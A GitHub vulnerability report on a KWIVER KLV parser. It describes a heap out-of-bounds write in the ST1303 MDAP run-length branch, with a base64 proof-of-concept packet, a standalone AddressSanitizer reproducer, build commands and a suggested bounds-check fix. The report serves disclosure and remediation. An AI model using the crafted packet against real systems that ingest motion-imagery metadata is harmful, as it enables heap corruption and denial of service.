Skip to content

Heap out-of-bounds WRITE in ST1303 MDAP RLE array parser (arrows/klv) #1843

Description

@pventuzelo

ST1303 MDAP (RLE array) — heap out-of-bounds WRITE

Project: KWIVER — arrows/klv (KLV / MISB motion-imagery metadata parser)
Affected version: master @ af3554f1f (v1.8.0-1260-gaf3554f1f) — current tip
Severity: High (semi-controlled heap write — corruption primitive)
Location: arrows/klv/klv_1303.hpp — klv_1303_mdap_format<…>::read_typed, RLE branch
Entry point: kwiver::arrows::klv::klv_read_packet() on untrusted KLV bytes
(e.g. metadata embedded in a MISB motion-imagery stream) — no authentication or
special state required.
Detection: AddressSanitizer

Description

MDAP is a multi-dimensional array pack. In the run-length-encoded branch,
result.elements is sized to length_of_array, then for each RLE entry the
block start coordinates[] and run_lengths[] are read directly from the input
as BER-OID values with no bounds check against the declared dimension sizes.
The resulting linear index j is used to write without checking
j < result.elements.size():

result.elements[ j ] = value;   // j and value both attacker-influenced

Impact: both the write offset and the written value are
attacker-influenced → a semi-controlled heap out-of-bounds write (a
heap-corruption primitive). Beyond DoS; potentially exploitable depending on
heap layout. (The dimension product length_of_array is additionally computed
with no overflow check — see the related ST1303 dimensions issue.)

The reader helpers (klv_read_int, klv_read_imap, klv_read_string) do no
buffer-bounds check — they trust the caller to pass a valid length. The safe
pattern used elsewhere in the codebase is tracker.verify(n), which returns n
if n bytes remain in the field and otherwise throws metadata_buffer_overflow.

Proof of concept

Raw KLV packet (262 bytes), base64 — decode with base64 -d:

BA7ENAAAAAAGDis0AgsBAQ4BAwMBAAAAMgYBAAAAAAAAAAAAAAAAAAABAAAAAAAABAEDAQ4AAAEA
CgYBAwMBAA4AAAD/////////BgEDAwEADgAAAP//////////AwEAAAAyBgEAAAMBAA4AAAD/////
/////wMBAAAAMgYBAAAAAAAAAAAAAPsGAAAAAAAAAAAA+wYOKzQCCwEBDgEDAwEAAABbBgEAAAAA
AAAAAAAAAAAABQUFBQUFAgUtBQUFBQUFAgUtAsD6DgEDAxwAAAAFBQUFBQUFBQUFBQUFBQUFBQUF
BQUFBQUFAAAAAAAAAAAtAAAAAAAADAAQ/QAGDis0AgAA/Q==

Reproduction

No fuzzing engine or custom harness required — only the public KLV API and an
AddressSanitizer build of kwiver_algo_klv:

base64 -d poc.b64 > poc.klv          # poc.b64 = the base64 block above
ASAN_OPTIONS=detect_leaks=0 ./repro_klv poc.klv

→ AddressSanitizer: heap-buffer-overflow WRITE in klv_1303_mdap_format<…>::read_typed.

Standalone reproducer — repro_klv.cxx (public KLV API only, no fuzzer)
#include <arrows/klv/klv_packet.h>
#include <cstdint>
#include <cstdio>
#include <fstream>
#include <vector>
using namespace kwiver::arrows::klv;

int main( int argc, char** argv )
{
  std::ifstream in( argv[1], std::ios::binary );
  std::vector< uint8_t > buf( ( std::istreambuf_iterator< char >( in ) ),
                              std::istreambuf_iterator< char >() );
  klv_read_iter_t it = buf.data();
  klv_read_iter_t const end = buf.data() + buf.size();
  while( it < end ) {                       // consume as a KLV stream
    klv_read_iter_t const before = it;
    try { (void) klv_read_packet( it, static_cast< size_t >( end - it ) ); }
    catch( std::exception const& e ) { std::printf( "rejected: %s\n", e.what() ); break; }
    if( it <= before ) break;
  }
  return 0;
}

Build against an AddressSanitizer build of kwiver_algo_klv:

clang++ -std=c++17 -g -fsanitize=address repro_klv.cxx \
  -I<kwiver_src> -I<kwiver_build> \
  -L<kwiver_build>/lib -lkwiver_algo_klv -lvital -lvital_logger \
     -lvital_exceptions -lvital_util -lvital_config -lvital_types \
  -Wl,-rpath,<kwiver_build>/lib -o repro_klv

Suggested fix

Bounds-check the index before the write:

if( j >= result.elements.size() )
  VITAL_THROW( kv::metadata_exception, "MDAP: RLE block index out of range." );
result.elements[ j ] = value;

Reported by patrick@fuzzinglabs.com (FuzzingLabs). Reproduced on master
(af3554f1f); the fix above was verified to eliminate the AddressSanitizer
error.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions